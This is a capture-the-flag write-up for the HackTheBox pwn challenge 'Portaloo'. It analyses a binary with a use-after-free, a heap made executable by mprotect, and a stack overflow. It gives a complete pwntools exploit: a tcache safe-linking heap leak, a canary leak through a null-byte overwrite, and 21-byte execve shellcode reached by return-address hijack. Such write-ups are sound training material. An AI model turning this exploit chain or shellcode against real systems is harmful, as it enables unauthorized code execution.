Portaloo
Portaloo
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-20 | Status: Solved Techniques: canary_null_byte_overwrite_leak, mprotect_rwx_abuse, shellcode_on_heap, stack_bof_ret2shellcode, tcache_safe_linking_bypass, uaf_heap_leak
Summary
Task: 64-bit PIE binary with heap UAF, mprotect making heap RWX, and stack buffer overflow with canary. Solution: Write shellcode to RWX heap, leak heap address via tcache safe-linking UAF, leak canary via null byte overwrite, stack smash to jump to shellcode.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260220_hackthebox_portaloo - Tags: pie, heap, shellcode, tcache, safe-linking, pwn, use-after-free, stack-overflow, rwx-heap, mprotect, canary-leak, glibc-2.35
- Indicators: free() without NULLing pointer, mprotect makes heap RWX, read() overflow past stack canary, printf %s leaks canary after null byte overwrite, menu-based heap allocator
- Source:
20260220_hackthebox_portaloo.md
Foothold
Vulnerability / Misconfiguration
- Canary_null_byte_overwrite_leak
- Mprotect_rwx_abuse
- Shellcode_on_heap
- Stack_bof_ret2shellcode
- Tcache_safe_linking_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- canary_null_byte_overwrite_leak
- mprotect_rwx_abuse
- shellcode_on_heap
- stack_bof_ret2shellcode
- tcache_safe_linking_bypass
- uaf_heap_leak
- Tags: pie, heap, shellcode, tcache, safe-linking, pwn, use-after-free, stack-overflow, rwx-heap, mprotect, canary-leak, glibc-2.35
Original Writeup
<details><summary>Click to expand original content</summary>Description
"Portals... A gateway to other dimensions, where chaos meets creativity and the void greets you."
64-bit ELF PIE binary with full protections (Full RELRO, NX, Canary, PIE). Custom glibc 2.35 (Ubuntu GLIBC 2.35-0ubuntu3.8) provided. Remote target: 154.57.164.78:32357.
The binary is a portal management system with 5 menu options:
- Create Portal —
malloc(0x20), stores pointer inslots[0]orslots[1]. On first allocation, callsmprotect()on the heap page with flagsPROT_READ|PROT_WRITE|PROT_EXEC(7) — makes the heap RWX. - Destroy Portal —
free(slots[n]), but does NOT NULL the pointer (UAF). - Upgrade Portal —
read(0, slots[n], 0x15)— writes 21 bytes to the portal. - Peek into the Void —
printf("Coordinate: %d ---- Data: %.*s", 0x15, i, slots[i])— reads portal data. - Step into the Portal — stack buffer of 0x48 bytes. First
read()for 0x50 bytes (8-byte overflow past buffer into canary). Secondread()for 0x68 bytes (0x20-byte overflow — overwrites canary, saved rbp, return address). After this function,maincallsexit(0).
Global Variables
slots[2]at address 0x4060 — array of 2 heap pointersmprotect_calledat address 0x4050 — flag ensuring mprotect is called only once
Protections
| Protection | Status |
|---|---|
| PIE | ✅ Enabled |
| NX | ✅ Enabled (but heap is made RWX via mprotect!) |
| Canary | ✅ Enabled |
| RELRO | Full |
Analysis
Vulnerability 1: RWX Heap (mprotect abuse)
In create_portal(), the first allocation triggers:
page_aligned = slots[n] & ~(page_size - 1); mprotect(page_aligned, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
This makes the entire heap page executable — perfect for shellcode.
Vulnerability 2: Use-After-Free (UAF)
destroy_portal() calls free(slots[n]), but never sets slots[n] = NULL. This means:
upgrade_portal()can write to freed chunks (write-after-free)peek_into_the_void()can read from freed chunks (read-after-free / info leak)
Vulnerability 3: Stack Buffer Overflow in step_into_the_portal
char buf[0x48]; // at rbp-0x50
// First read — canary leak
read(0, buf, 0x50); // 8 bytes overflow, overwrites canary LSB
printf("[!] Amazing option choosing %s", buf); // leaks canary if null byte is overwritten
// Buffer is cleared
memset(buf, 0, 0x48);
// Second read — full overflow
read(0, buf, 0x68); // 0x20 bytes overflow: canary + rbp + ret addr
Key point: after returning from step_into_the_portal, the main function calls exit(0), so we need to hijack control exactly when returning from step_into_the_portal, not from main.
Solution
Exploitation Strategy
┌─────────────────────────────────────────────────────────┐
│ 1. Create Portal 0 → mprotect → heap RWX │
│ 2. Create Portal 1 │
│ 3. Upgrade Portal 0 → write 21-byte execve shellcode │
│ 4. Destroy Portal 1 → free → tcache, fd = safe-linked │
│ 5. Peek Portal 1 (UAF) → leak tcache fd → heap base │
│ 6. Step into Portal → leak canary → smash stack → RCE │
└─────────────────────────────────────────────────────────┘
Step 1: Creating Portals and RWX Heap
Create portal 0 — this triggers mprotect(), making the heap page RWX. Then create portal 1.
Step 2: Writing Shellcode to Heap
Write a 21-byte execve("/bin//sh", NULL, NULL) shellcode to portal 0 via Upgrade:
xor rsi, rsi ; 48 31 f6 — rsi = 0 (argv) push rsi ; 56 — push 0 (null terminator) movabs rdi, "/bin//sh" ; 48 bf 2f 62 69 6e 2f 2f 73 68 — string in rdi push rdi ; 57 — push string to stack mov rdi, rsp ; 48 89 e7 — rdi = pointer to string cdq ; 99 — rdx = 0 (envp) mov al, 0x3b ; b0 3b — syscall number execve syscall ; 0f 05
Total: 3 + 1 + 10 + 1 + 3 + 1 + 2 + 2 = 21 bytes — fits exactly within the read(0, slots[n], 0x15) limit.
Step 3: Heap Address Leak via UAF
Free portal 1 — the chunk goes into tcache. In glibc 2.35, tcache uses safe linking:
fd_stored = real_next_ptr ^ (chunk_addr >> 12)
Since the tcache bin was empty, real_next_ptr = 0, therefore:
fd_stored = 0 ^ (chunk1_addr >> 12) = chunk1_addr >> 12
Read portal 1 via Peek (UAF) → get chunk1_addr >> 12 → recover heap base:
heap_key = u64(leaked_bytes.ljust(8, b'\x00')) shellcode_addr = (heap_key << 12) + 0x2a0 # offset to chunk0 user data
The 0x2a0 offset is the distance from the heap page start to chunk 0's user data (where the shellcode resides).
Step 4: Stack Canary Leak
Call option 5 (Step into the Portal):
- First read (0x50 bytes): send exactly 0x49 bytes — 0x48 bytes of padding + 1 byte to overwrite the canary's null LSB
printf("[!] Amazing option choosing %s", buf)— since the canary's null terminator is overwritten,%scontinues reading past the buffer and outputs the remaining 7 bytes of the canary- Extract the 7 leaked bytes, prepend
\x00(canary LSB is always 0x00)
Step 5: Stack Smash → Jump to Shellcode
Second read (0x68 bytes) — construct payload:
[0x48 bytes padding] [8 bytes canary] [8 bytes fake rbp] [8 bytes ret addr → shellcode]
Function returns → RIP = shellcode address on RWX heap → execve("/bin/sh") → shell!
Full Exploit
from pwn import *
context.binary = './portaloo'
context.arch = 'amd64'
def create(io, idx):
io.sendlineafter(b'>> ', b'1')
io.sendlineafter(b'number: ', str(idx).encode())
def destroy(io, idx):
io.sendlineafter(b'>> ', b'2')
io.sendlineafter(b'number: ', str(idx).encode())
def upgrade(io, idx, data):
io.sendlineafter(b'>> ', b'3')
io.sendlineafter(b'number: ', str(idx).encode())
io.sendafter(b'data: ', data)
def peek(io):
io.sendlineafter(b'>> ', b'4')
return io.recvuntil(b'-=[ Portaloo ]=-', drop=True)
# ── Connect ──────────────────────────────────────────────
io = remote('154.57.164.78', 32357)
# ── Step 1: Create portals (first triggers mprotect → RWX heap) ──
create(io, 0)
create(io, 1)
# ── Step 2: Write shellcode to portal 0 ──────────────────
# 21-byte execve("/bin//sh", NULL, NULL) shellcode
shellcode = b"\x48\x31\xf6" # xor rsi, rsi
shellcode += b"\x56" # push rsi
shellcode += b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68" # movabs rdi, "/bin//sh"
shellcode += b"\x57" # push rdi
shellcode += b"\x48\x89\xe7" # mov rdi, rsp
shellcode += b"\x99" # cdq (rdx=0)
shellcode += b"\xb0\x3b" # mov al, 0x3b
shellcode += b"\x0f\x05" # syscall
assert len(shellcode) == 21 # exactly 0x15 bytes
upgrade(io, 0, shellcode)
# ── Step 3: Leak heap address via UAF ────────────────────
destroy(io, 1)
leak_data = peek(io)
# Parse tcache safe-linked fd from freed chunk 1
# In glibc 2.35: fd_stored = real_next ^ (chunk_addr >> 12)
# Since tcache was empty: fd_stored = 0 ^ (chunk1_addr >> 12) = chunk1_addr >> 12
# Extract leaked bytes from peek output (after "Data: " field)
idx = leak_data.index(b'Data: ') + 6
leaked_bytes = leak_data[idx:idx+6]
heap_key = u64(leaked_bytes.ljust(8, b'\x00'))
shellcode_addr = (heap_key << 12) + 0x2a0 # offset to chunk0 user data
log.info(f"Heap key: {hex(heap_key)}")
log.info(f"Shellcode addr: {hex(shellcode_addr)}")
# ── Step 4: Leak stack canary ────────────────────────────
io.sendlineafter(b'>> ', b'5')
# First read: 0x48 padding + 1 byte to overwrite canary's null LSB
io.sendafter(b'with you?\n', b'A' * 0x48 + b'B')
resp = io.recvuntil(b'Any last words')
# Canary starts right after our 0x49 bytes of output
# printf("%s") leaks past buffer into canary (null terminator was overwritten)
canary_offset = resp.index(b'A' * 0x10) + 0x48 + 1 # after padding + 'B'
canary_bytes = resp[canary_offset:canary_offset + 7]
canary = u64(b'\x00' + canary_bytes[:7])
log.info(f"Canary: {hex(canary)}")
# ── Step 5: Stack smash → jump to shellcode ──────────────
payload = b'A' * 0x48 # buffer padding
payload += p64(canary) # correct canary
payload += p64(0) # fake saved rbp
payload += p64(shellcode_addr) # return address → shellcode on RWX heap
io.sendafter(b'words: ', payload)
# ── Shell! ───────────────────────────────────────────────
io.interactive()
Notes
- Shellcode is exactly 21 bytes — fits precisely within the
read(0, ptr, 0x15)limit. If the limit were smaller, staged shellcode or another approach would be needed. - The 0x2a0 offset from heap page start to chunk 0's user data depends on the allocator and may differ across glibc versions. Determined empirically via GDB.
exit(0)in main afterstep_into_the_portal()means RIP hijack must occur when returning from the nested function, not from main.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR